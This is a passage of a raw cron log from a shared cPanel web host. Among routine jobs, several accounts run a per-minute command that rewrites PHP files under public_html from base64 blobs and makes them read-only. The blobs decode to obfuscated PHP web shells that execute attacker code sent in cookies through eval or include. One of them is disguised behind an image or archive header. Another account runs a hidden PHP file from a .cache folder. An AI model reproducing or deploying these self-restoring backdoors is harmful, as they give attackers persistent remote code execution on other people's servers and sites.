"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:37:02 medusa CROND[1255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:37:02 medusa CROND[1256]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:37:02 medusa CROND[1264]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:37:02 medusa CROND[1178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:37:02 medusa CROND[1308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:38:01 medusa CROND[15698]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:38:01 medusa CROND[15699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:38:01 medusa CROND[15700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:38:01 medusa CROND[15703]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:38:01 medusa CROND[15704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:38:01 medusa CROND[15705]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:38:01 medusa CROND[15706]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:38:01 medusa CROND[15707]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:38:01 medusa CROND[15708]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:38:01 medusa CROND[15711]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:38:01 medusa CROND[15717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:38:01 medusa CROND[15715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:38:01 medusa CROND[15713]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:39:01 medusa CROND[29747]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:39:01 medusa CROND[29748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:39:01 medusa CROND[29749]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:39:01 medusa CROND[29751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:39:01 medusa CROND[29752]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:39:01 medusa CROND[29757]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:39:01 medusa CROND[29759]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:39:01 medusa CROND[29754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:39:01 medusa CROND[29765]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
